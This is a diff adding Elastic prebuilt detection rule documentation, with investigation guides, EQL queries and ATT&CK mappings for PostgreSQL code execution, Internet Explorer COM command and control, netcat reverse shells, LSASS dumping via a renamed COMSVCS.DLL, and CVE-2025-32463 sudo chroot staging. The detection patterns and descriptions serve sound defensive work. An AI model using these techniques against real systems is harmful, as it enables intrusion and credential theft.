ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-code-execution-via-postgresql.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-code-execution-via-postgresql.asciidoc new file mode 100644 index 0000000000..f46fa65ac4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-code-execution-via-postgresql.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-code-execution-via-postgresql]] +=== Potential Code Execution via Postgresql + +This rule monitors for suspicious activities that may indicate an attacker attempting to execute arbitrary code within a PostgreSQL environment. Attackers can execute code via PostgreSQL as a result of gaining unauthorized access to a public facing PostgreSQL database or exploiting vulnerabilities, such as remote command execution and SQL injection attacks, which can result in unauthorized access and malicious actions, and facilitate post-exploitation activities for unauthorized access and malicious actions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Code Execution via Postgresql* + + +PostgreSQL, a robust open-source database system, can be exploited by attackers to execute arbitrary code if they gain unauthorized access or exploit vulnerabilities like SQL injection. Adversaries may leverage command execution capabilities to perform malicious actions. The detection rule identifies suspicious processes initiated by the PostgreSQL user, focusing on shell executions that resemble command injection patterns, while excluding legitimate operations, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious shell executions by the PostgreSQL user, focusing on processes with arguments containing "*sh" and "echo*". +- Check the parent process information to determine if the process was initiated by a known legitimate service, such as "puppet", or if it includes "BECOME-SUCCESS-" in the command line, which are excluded from the rule. +- Investigate the source of the PostgreSQL access to identify if it originated from an unauthorized or unusual IP address or user account. +- Analyze the timeline of events leading up to and following the alert to identify any patterns or additional suspicious activities that may indicate a broader attack. +- Correlate the alert with other security events or logs from the same host or network segment to assess if there are related indicators of compromise or ongoing threats. + + +*False positive analysis* + + +- Puppet processes may trigger false positives due to their legitimate use of shell commands. To mitigate this, ensure that puppet-related processes are excluded by verifying that process.parent.name is set to "puppet". +- Automation tools that use shell scripts for configuration management might be flagged. Review and exclude these by checking for specific command patterns that are known to be safe, such as those containing "BECOME-SUCCESS". +- Scheduled maintenance scripts executed by the postgres user could be misidentified as threats. Identify these scripts and add them to an exclusion list based on their command line patterns. +- Regular database backup operations that involve shell commands might be mistakenly flagged. Document these operations and exclude them by matching their specific command line arguments. +- Custom monitoring scripts that execute shell commands under the postgres user should be reviewed and excluded if they are verified as non-malicious. + + +*Response and remediation* + + +- Immediately isolate the affected PostgreSQL server from the network to prevent further unauthorized access or malicious actions. +- Terminate any suspicious processes identified by the detection rule to halt potential malicious activities. +- Conduct a thorough review of the PostgreSQL server logs to identify any unauthorized access attempts or successful exploitations, focusing on the timeframes around the detected events. +- Reset credentials for the PostgreSQL user and any other potentially compromised accounts to prevent further unauthorized access. +- Apply the latest security patches and updates to the PostgreSQL server to mitigate known vulnerabilities that could be exploited. +- Implement network segmentation to limit access to the PostgreSQL server, ensuring only authorized systems and users can connect. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "fork", "fork_event") and user.name == "postgres" and ( + (process.parent.args : "*sh" and process.parent.args : "echo*") or + (process.args : "*sh" and process.args : "echo*") +) and not ( + process.parent.name == "puppet" or + process.command_line like ( + "*BECOME-SUCCESS-*", "bash -c while true; do sleep 1;*", "df -l", "sleep 1", "who", "head -v -n *", "tail -v -n *", + "/bin/sh -c echo BECOME-SUCCESS*", "/usr/bin/python3 /var/tmp/ansible-tmp*", "*chpasswd*" + ) or + process.parent.command_line like ("*BECOME-SUCCESS-*", "-bash -c echo $HOME", "su - postgres -c echo $HOME") or + process.parent.executable in ("/usr/bin/watch", "/bin/diskmgr", "/usr/bin/diskmgr") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-command-and-control-via-internet-explorer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-command-and-control-via-internet-explorer.asciidoc new file mode 100644 index 0000000000..9c91f6f29f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-command-and-control-via-internet-explorer.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-potential-command-and-control-via-internet-explorer]] +=== Potential Command and Control via Internet Explorer + +Identifies instances of Internet Explorer (iexplore.exe) being started via the Component Object Model (COM) making unusual network connections. Adversaries could abuse Internet Explorer via COM to avoid suspicious processes making network connections and bypass host-based firewall restrictions. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Command and Control via Internet Explorer* + + +Internet Explorer can be manipulated via the Component Object Model (COM) to initiate network connections, potentially bypassing security measures. Adversaries exploit this by embedding IE in processes like rundll32.exe, making it appear benign. The detection rule identifies unusual DNS queries from IE, excluding common Microsoft domains, to flag suspicious activity indicative of command and control attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and user associated with the suspicious activity, focusing on the host.id and user.name fields. +- Examine the process tree on the affected host to confirm if Internet Explorer (iexplore.exe) was indeed started via COM, specifically looking for the parent process rundll32.exe or regsvr32.exe with IEProxy.dll loaded. +- Analyze the DNS queries made by Internet Explorer to identify any unusual or suspicious domains that are not part of the common Microsoft or OCSP-related domains listed in the exclusion list. +- Check the network connections initiated by Internet Explorer to determine if there are any unexpected or unauthorized external IP addresses or domains being contacted. +- Investigate the context and timing of the alert by correlating it with other security events or logs from the same host or user to identify any patterns or additional indicators of compromise. +- Assess the risk and potential impact of the detected activity by considering the severity of the alert and any additional findings from the investigation steps above. + + +*False positive analysis* + + +- Internet Explorer may make legitimate DNS queries to domains not listed in the exclusion list, such as those related to third-party services or internal company resources. Users should monitor and identify these domains and consider adding them to the exclusion list if they are verified as non-threatening. +- Some enterprise environments may use custom applications that leverage Internet Explorer via COM for legitimate purposes. In such cases, users should identify these applications and create exceptions for their associated processes to prevent false positives. +- Regular updates or patches from non-Microsoft sources might trigger alerts if they use Internet Explorer for network connections. Users should verify the legitimacy of these updates and adjust the exclusion list accordingly. +- Internal network monitoring tools or scripts that use Internet Explorer for testing or monitoring purposes could be flagged. Users should document these tools and exclude their associated network activities from the detection rule. +- If a specific user or department frequently triggers alerts due to legitimate use of Internet Explorer, consider creating user or department-specific exceptions to reduce noise while maintaining security oversight. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further command and control communication and potential data exfiltration. +- Terminate the Internet Explorer process (iexplore.exe) and any associated processes like rundll32.exe or regsvr32.exe that are identified as suspicious. +- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any malicious software or scripts. +- Review and analyze the DNS query logs to identify any other potentially compromised hosts within the network that may have communicated with the same suspicious domains. +- Restore the affected system from a known good backup if malware is confirmed and cannot be fully removed, ensuring that the backup is free from compromise. +- Implement network-level controls to block the identified suspicious domains and IP addresses to prevent future communication attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, user.name with maxspan = 5s + [library where host.os.type == "windows" and dll.name : "IEProxy.dll" and process.name : ("rundll32.exe", "regsvr32.exe")] + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "iexplore.exe" and process.parent.args : "-Embedding"] + /* IE started via COM in normal conditions makes few connections, mainly to Microsoft and OCSP related domains, add FPs here */ + [network where host.os.type == "windows" and network.protocol == "dns" and process.name : "iexplore.exe" and + not dns.question.name : + ( + "*.microsoft.com", + "*.digicert.com", + "*.msocsp.com", + "*.windowsupdate.com", + "*.bing.com", + "*.identrust.com", + "*.sharepoint.com", + "*.office365.com", + "*.office.com" + ) + ] /* with runs=5 */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-command-shell-via-netcat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-command-shell-via-netcat.asciidoc new file mode 100644 index 0000000000..4690d28a6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-command-shell-via-netcat.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-potential-command-shell-via-netcat]] +=== Potential Command Shell via NetCat + +Identifies potential attempt to execute via a reverse shell using the netcat utility to execute Windows commands using the default interpreters like Cmd.exe and Powershell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Command Shell via NetCat* + + +Attackers may abuse the NetCat utility to execute commands remotely using the builtin Windows Command Shell interpreters. + + +*Possible investigation steps* + + +- Verify if the user is authorized to use the Netcat utility. +- Investigate the process execution chain (parent process tree) and how the netcat binary was dropped. +- Review the network connections made by the parent process and check their reputation. +- Investiguate all child processes spawned by the Cmd or Powershell instance. +- Examine the host for other alerts within the same period. + + +*False positive analysis* + + +- IT Support or system amdinistrator authorized activity using NetCat. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +process.name : ("cmd.exe", "powershell.exe") and process.parent.args : "-e" and + ( + (process.parent.args_count == 5 and process.parent.command_line regex~ """.*[0-9]{1,3}(\.[0-9]{1,3}){3}.*""") or + (process.parent.args : "-*l*" and process.parent.args : "-*p*" and process.parent.args : ("cmd.exe", "powershell.exe")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-credential-access-via-renamed-com-services-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-credential-access-via-renamed-com-services-dll.asciidoc new file mode 100644 index 0000000000..9008177a1c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-credential-access-via-renamed-com-services-dll.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-potential-credential-access-via-renamed-com-services-dll]] +=== Potential Credential Access via Renamed COM+ Services DLL + +Identifies suspicious renamed COMSVCS.DLL Image Load, which exports the MiniDump function that can be used to dump a process memory. This may indicate an attempt to dump LSASS memory while bypassing command-line based detection in preparation for credential access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via Renamed COM+ Services DLL* + + +COMSVCS.DLL is a Windows library that exports the MiniDump function, which can be used to dump a process memory. Adversaries may attempt to dump LSASS memory using a renamed COMSVCS.DLL to bypass command-line based detection and gain unauthorized access to credentials. + +This rule identifies suspicious instances of rundll32.exe loading a renamed COMSVCS.DLL image, which can indicate potential abuse of the MiniDump function for credential theft. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Identify the process that created the DLL using file creation events. + - Inspect the file for useful metadata, such as file size and creation or modification time. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable and DLL using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Look for the presence of relevant artifacts on other systems. Identify commonalities and differences between potentially compromised systems. + + +*False positive analysis* + + +- False positives may include legitimate instances of rundll32.exe loading a renamed COMSVCS.DLL image for non-malicious purposes, such as during software development, testing, or troubleshooting. + + +*Related Rules* + + +- Potential Credential Access via LSASS Memory Dump - 9960432d-9b26-409f-972b-839a959e79e2 +- Suspicious Module Loaded by LSASS - 3a6001a0-0939-4bbe-86f4-47d8faeb7b97 +- Suspicious Lsass Process Access - 128468bf-cab1-4637-99ea-fdf3780a4609 +- LSASS Process Access via Windows API - ff4599cb-409f-4910-a239-52e4e6f532ff + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +You will need to enable logging of ImageLoads in your Sysmon configuration to include COMSVCS.DLL by Imphash or Original +File Name. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.category == "process" and + process.name : "rundll32.exe"] + [process where host.os.type == "windows" and event.category == "process" and event.dataset : "windows.sysmon_operational" and event.code == "7" and + (file.pe.original_file_name : "COMSVCS.DLL" or file.pe.imphash : "EADBCCBB324829ACB5F2BBE87E5549A8") and + /* renamed COMSVCS */ + not file.name : "COMSVCS.DLL"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-32463-nsswitch-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-32463-nsswitch-file-creation.asciidoc new file mode 100644 index 0000000000..9c4aa0ad88 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-32463-nsswitch-file-creation.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-potential-cve-2025-32463-nsswitch-file-creation]] +=== Potential CVE-2025-32463 Nsswitch File Creation + +Detects suspicious creation of the nsswitch.conf file, outside of the regular /etc/nsswitch.conf path, consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot +* https://github.com/kh4sh3i/CVE-2025-32463 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential CVE-2025-32463 Nsswitch File Creation* + + +This rule flags creation of an nsswitch.conf file outside the standard /etc location by a shell, an early sign of staging a fake root to coerce sudo's chroot path and hijack NSS resolution (CVE-2025-32463). A common pattern is writing /tmp/chroot/etc/nsswitch.conf, placing or pointing to a malicious NSS module, then running sudo chroot into that directory so name lookups load attacker-controlled code and escalate to root. + + +*Possible investigation steps* + + +- Correlate the event with any sudo or chroot executions within ±10 minutes that reference the same directory prefix (e.g., /tmp/chroot), capturing full command line, user, TTY, working directory, and exit codes. +- Inspect the created nsswitch.conf for nonstandard services or module names and enumerate any libnss_*.so* under lib*/ or usr/lib*/ within that prefix, recording owner, hashes, and timestamps. +- List all contemporaneous file writes under the same prefix (etc, lib*, bin, sbin) to determine whether a chroot rootfs is being assembled and attribute it to a toolchain such as tar, rsync, debootstrap, or custom scripts via process ancestry. +- Search file access telemetry to see whether privileged processes subsequently read that specific nsswitch.conf or loaded libnss_* from the same path, which would indicate the chroot was exercised. +- Verify sudo and glibc versions and patch status for CVE-2025-32463 and collect the initiating user’s session context (SSH source, TTY, shell history) to assess exploitability and scope. + + +*False positive analysis* + + +- An administrator legitimately staging a temporary chroot or test root filesystem may use a shell to create /tmp/*/etc/nsswitch.conf while populating configs, matching the rule even though no privilege escalation is intended. +- OS installation, recovery, or backup-restore workflows run from a shell can populate a mounted target like /mnt/newroot/etc/nsswitch.conf, creating the file outside /etc as part of maintenance and triggering the alert. + + +*Response and remediation* + + +- Terminate any sudo or chroot processes referencing the created path (e.g., /tmp/chroot/etc/nsswitch.conf), lock the initiating user’s sudo access, and quarantine the parent directory with root-only permissions. +- Remove the staged nsswitch.conf and any libnss_*.so* or ld.so.* artifacts under lib*/ or usr/lib*/ within that prefix after collecting copies, hashes, and timestamps for evidence. +- Restore and verify /etc/nsswitch.conf on the host with correct content and root:root 0644, purge temporary chroot roots under /tmp, /var/tmp, or /mnt, and restart nscd or systemd-resolved to flush cached name-service data. +- Escalate to incident response if sudo chroot was executed against the same directory, if root processes loaded libnss_* from that path, or if nsswitch.conf appears outside /etc on multiple hosts within a short window. +- Apply vendor fixes for CVE-2025-32463 to sudo and glibc, disallow chroot in sudoers and enforce env_reset, noexec, and secure_path, and mount /tmp and /var/tmp with noexec,nosuid,nodev to prevent libraries being sourced from user-writable paths. +- Add controls to block execution from user-created chroot trees by policy (AppArmor or SELinux) and create alerts on creation of */etc/nsswitch.conf or libnss_* writes under non-system paths, with auto-isolation for directories under /tmp or a user’s home. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add 